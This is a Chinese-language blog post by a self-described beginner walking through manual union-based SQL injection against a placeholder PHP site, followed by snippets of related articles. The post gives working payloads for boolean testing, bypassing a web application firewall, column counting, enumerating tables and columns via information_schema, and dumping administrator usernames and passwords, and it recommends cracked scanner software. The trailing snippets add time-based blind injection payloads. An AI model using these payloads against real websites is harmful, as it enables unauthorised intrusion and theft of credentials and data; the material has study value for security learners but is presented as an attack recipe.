sql注入学习经验

本人是一名渗透新手,信息安全专业的学生一直在学习关于安全方面的理论学习,主要进行的是网站的搭建,但自从接触了web渗透之后才发现自己以前搭建的网站真是漏洞百出,从而也爱上了渗透的学习,今天就和大家分享一下我的学习成果,有什么不好的地方欢迎大家提意见!

今天主要是讲一讲sql注入,sql注入的原理和危害就不多说了,大家百度一下就可以了,给大家讲一讲我的实践经验。

sql注入的方法(get参数)

    说复杂了没用其实就两种,工具注入与手工注入

(一)选择网站是否能进行sql注入(一般使用火狐浏览器比较好——方便)

(1)先查看URL页面为http://xxx.com/xxx/id=23 这样的页面或者为伪静态的url也可进行注入。       ·

(2)在url后输入

and 1=1返回页面正常

and 1=2返回页面错误

or 1=1返回页面错误

or 1=2返回页面正常

这样的网站就有注入漏洞

现在的网站基本都有网站防火墙(带有防sql注入功能)这时可用‘工具注入中转生成器’来重新生成一个页面(注意打开这个页面要用iis或小旋风),这样就可以绕过网站安全狗了。

然后在新生成页面进行操作。

and 1=1返回页面正常

and 1=2返回页面错误

or 1=1返回页面错误

or 1=2返回页面正常

这样就可以进行下一步了。

(一)个人经验一般应先进行目录的扫描,为什么呢?

因为先应该找到网站后台的登录界面,如果连登陆界面都无法找到,就算知道了管理员的用户 名密码又有什么用呢。

可以手工查找,就是猜名称,一般为admin|login|user等asp、php、aspx、jsp后缀的,这种方 法有点傻,一般用工具进行网站遍历。

扫描工具:工具在附件里都有。我一般先使用御剑的扫描工具,但御剑的岁数毕竟不小了,也 没有后续的更新,所以有些网站目录是无法遍历出来的,这是只能用一些牛逼的工具了。工具burpsuite(都说是渗透神器,我也一直在用,功能挺强大的,可以进行网站爬行与网站目录的遍历)还有就是Acunetix Web Vulnerability Scanner这款软件也是非常强大的,现在出到10了,网上破解版。具体使用教程请自行百度。

(二)进行注入

可用工具啊D、明小子、pangolin穿山甲、sqlmap等工具进行注入,今天主要讲解手工注入。

手工注入:

1、order by 1.....100判断表数

若页面返回正常则说明这个数字小于表数,依次递加,最好取中进行测试节省时间,最后一个           正确的为表数,如20正常,21不正常,则表数为20

2、   http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT                                    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

显示3,7数字

3、   将3或7替换为database()、version()、user()、@@version——compile_os

报基本信息  (1)database():数据库名-------abc

(2)version():数据库版本--------5.1.63-community

(3)user():数据库用户[email protected]

(4)@@version——compile_os:操作系统--------win32

4、表名查询   http://xxx/xxx.php?id=23 and 1=2 UNION SELECT                            1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20from                information_schema.tables where table_schema=0x616263(此处为数据库名,可用小葵          转换工具转换为Hex值)

查询结果为:wz_jj_admin,wz_jj_article,wz_jj_attachment,wz_jj_class,wz_jj_en_admin,wz_jj_en_article,wz_jj_en_attachment,wz_jj_en_class,wz_jj_en_key,wz_jj_en_links,wz_jj_en_message,wz_jj_key,wz_jj_links,wz_jj_message

5、分析表wz_jj_admin 查找表的列名

http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT                            1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=0x777A5F6A6A5F61646D696E

结果为:uid , ad_username,ad_password,ad_power,ad_intro

6、查找用户名,密码http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(ad_username,0x5c,ad_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from wz_jj_admin

7、结果为:admin  admin888 这样就成功了

这只是简单的sql注入,后续的参数注入有post注入、cookie注入,请耐心等待!

时间: 2024-10-12 20:21:18

sql注入学习经验的相关文章

SQL注入学习资料总结

转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准.不过各种通行的数据库系统在其实践过程中都

DVWA 安装使用 & SQL注入学习心得(一)

DVWA 环境搭建和安装简易使用 下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过.在浏览器输入127.0.0.1,测试一下. 官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下. 此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面[其他选项菜单]->[My SQL工具]->[重置密码]. 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,

sql注入学习笔记(1)

把学习到的sql注入的一点知识记录下来 更改默认的sqlmap脱库保存的路径  --output-dir F:\ Substr(字符串,起始位置,字符数)   (初始为1不是0) 这里有示例 https://www.1keydata.com/cn/sql/sql-substring.php 通常配合ascii函数判断出字符的值ascii(substr((select database()),1,1))) > 100 二分法(又叫折半法)可以减少猜测的量 Length()   判断长度 AND (

简单的SQL注入学习

引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt/lampp/htdocs目录下: 解释一下这个页面: 1.通过if语句判断变量是否初始化 2.if语句中通过mysql_connect()函数连接数据库 3.连接数据库成功后,选择一个数据库 4.选择完数据库后执行一条mysql查询 5.进行查询结果的处理 6.使用echo讲查询结果输出,便于查看

简单sql注入学习

sql注入是什么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提 交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据 库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入式攻击. sql注入漏洞的

SQL注入学习(二)

SQL注入点判断 ?id=35 +1/-1  查看页面是否发生变化 select * from tbName where id=$id 1.?id=35'数字后面加上[' or '' or )]来判断是字符型,还是数字型,如果有报错.有回显的话,用报错注入 select * from tbName where id=35' near ''' at line 1 数字型 near ''2'' LIMIT 0,1' at line 1 字符型 2.?id=35 and 1=1 // ?id=35 a

Sql 注入 学习笔记

以下是MSDN Magazine 里面的一段文章: http://msdn.microsoft.com/zh-cn/magazine/cc163523.aspx 我很好奇这样到底能不能够注入SQL, 所以我建了个 console 程序 static void Main(string[] args) { SqlConnection conn new SqlConnection(); conn.Open(); string commandtext = "exec SetPassword 'admin

防止sql注入式攻击 SQL注入学习——三层架构

解决方案是:1.首先在UI录入时,要控制数据的类型和长度.防止SQL注入式攻击,系统提供检测注入式攻击的函数,一旦检测出注入式攻击,该数据即不能提交:2.业务逻辑层控制,通过在方法内部将SQL关键字用一定的方法屏蔽掉,然后检查数据长度,保证提交SQL时,不会有SQL数据库注入式攻击代码:但是这样处理后,要求UI输出时将屏蔽的字符还原.因此系统提供屏蔽字符 的函数和还原字符的函数.3.在数据访问层,绝大多数采用存储过程访问数据,调用时以存储过程参数的方式访问,也会很好的防止注入式攻击. 3    

sql注入学习笔记4

延时注入,延时注入每种数据库都有不同的延时函数 and If(ascii(substr(database(),1,1))=105,1,sleep(5))--+ 这是mysql的延时注入,当ascii(substr(database(),1,1))=105为真时返回1,为假则执行sleep(5),将会有5秒的延时报错 重复执行指定操作的函数 BENCHMARK(count,expr)函数将表达式expr重复执行count次,然后返回执行时间.该函数可以用来判断MySQL处理表达式的速度. UNIO